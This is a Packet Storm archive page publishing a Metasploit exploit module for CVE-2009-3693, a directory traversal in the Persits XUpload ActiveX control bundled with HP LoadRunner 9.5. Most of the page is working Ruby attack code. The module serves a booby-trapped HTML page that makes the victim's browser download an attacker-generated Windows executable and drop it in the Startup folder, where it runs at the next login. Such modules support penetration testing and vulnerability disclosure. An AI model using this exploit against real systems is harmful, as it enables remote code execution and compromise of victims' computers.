exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Persits XUpload ActiveX MakeHttpRequest Directory Traversal

Persits XUpload ActiveX MakeHttpRequest Directory Traversal
Posted Dec 31, 2009
Authored by jduck | Site metasploit.com

This Metasploit module exploits a directory traversal in Persits Software Inc's XUpload ActiveX control(version 3.0.0.3) that's included in HP LoadRunner 9.5. By passing a string containing "..\\\\" sequences to the MakeHttpRequest method, an attacker is able to write arbitrary files to arbitrary locations on disk. Code execution occurs by writing to the All Users Startup Programs directory. You may want to combine this module with the use of multi/handler since a user would have to log for the payload to execute.

tags | exploit, arbitrary, code execution, activex
advisories | CVE-2009-3693
SHA-256 | a22d6a5d6ae13466a6759a4b609ca02715e96a081fa217cf96cb8a72607502d3

Persits XUpload ActiveX MakeHttpRequest Directory Traversal

Change Mirror Download
##
# $Id: persits_xupload_traversal.rb 7760 2009-12-08 21:24:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Persits XUpload ActiveX MakeHttpRequest Directory Traversal',
'Description' => %q{
This module exploits a directory traversal in Persits Software Inc's
XUpload ActiveX control(version 3.0.0.3) that's included in HP LoadRunner 9.5.
By passing a string containing "..\\" sequences to the MakeHttpRequest method,
an attacker is able to write arbitrary files to arbitrary locations on disk.

Code execution occurs by writing to the All Users Startup Programs directory.
You may want to combine this module with the use of multi/handler since a
user would have to log for the payloda to execute.
},
'License' => MSF_LICENSE,
'Author' => [ 'jduck' ],
'Version' => '$Revision: 7760 $',
'References' =>
[
[ 'CVE', '2009-3693'],
[ 'OSVDB', '60001'],
[ 'URL', 'http://retrogod.altervista.org/9sg_hp_loadrunner.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 2048,
'Compat' =>
{
'ConnectionType' => '-find',
}
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DisclosureDate' => 'Sep 29 2009',
'DefaultTarget' => 0))

register_options(
[
OptString.new('PATH', [ true, 'The path to place the executable.', '../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']),
], self.class)
end

def on_request_uri(cli, request)

uri,token = request.uri.split('?', 2)

print_status("request fired : #{uri}")

if !token
# randomize some stuff
objid = rand_text_alpha(rand(100) + 1)
func = rand_text_alpha(rand(100) + 1)

# send the html that makes the payload get downloaded
token = rand_text_numeric(32)
if ("/" == get_resource[-1,1])
exe_uri = get_resource[0, get_resource.length - 1]
else
exe_uri = get_resource
end
exe_uri << "?" + token

exe_host = ""
exe_host << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'])

exe_hostport = datastore['SRVPORT']

exe_name = datastore['PATH'].dup
exe_name << rand_text_alphanumeric(rand(100) + 1)
exe_name << ".exe"

html = %Q|<html>
<head>
<script language='javascript'>
function #{func}()
{
#{objid}.Server = "#{exe_host}";
#{objid}.Script = "#{exe_uri}";
#{objid}.Port = #{exe_hostport};
#{objid}.MakeHttpRequest("","","#{exe_name}","","")
}
</script>
</head>
<body onload='javascript:#{func}()'>
<object classid='clsid:E87F6C8E-16C0-11D3-BEF7-009027438003' id=#{objid}></object>
</body>
</html>
|
print_status("Sending exploit html to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response(cli, html,
{
'Connection' => 'close',
'Pragma' => 'no-cache'
})
return
end

print_status("Sending payload exe to #{cli.peerhost}:#{cli.peerport}...")
return if ((p = regenerate_payload(cli)) == nil)
data = Msf::Util::EXE.to_win32pe(framework,p.encoded)

# send the exe
send_response(cli, data,
{
'Content-Type' => 'application/octet-stream',
'Connection' => 'close',
'Pragma' => 'no-cache'
})

# Handle the payload
handler(cli)
end

end
Login or Register to add favorites

File Archive:

September 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    23 Files
  • 2
    Sep 2nd
    12 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    10 Files
  • 6
    Sep 6th
    8 Files
  • 7
    Sep 7th
    30 Files
  • 8
    Sep 8th
    14 Files
  • 9
    Sep 9th
    26 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    5 Files
  • 13
    Sep 13th
    28 Files
  • 14
    Sep 14th
    15 Files
  • 15
    Sep 15th
    17 Files
  • 16
    Sep 16th
    9 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    12 Files
  • 20
    Sep 20th
    15 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    13 Files
  • 23
    Sep 23rd
    12 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    30 Files
  • 27
    Sep 27th
    27 Files
  • 28
    Sep 28th
    8 Files
  • 29
    Sep 29th
    14 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close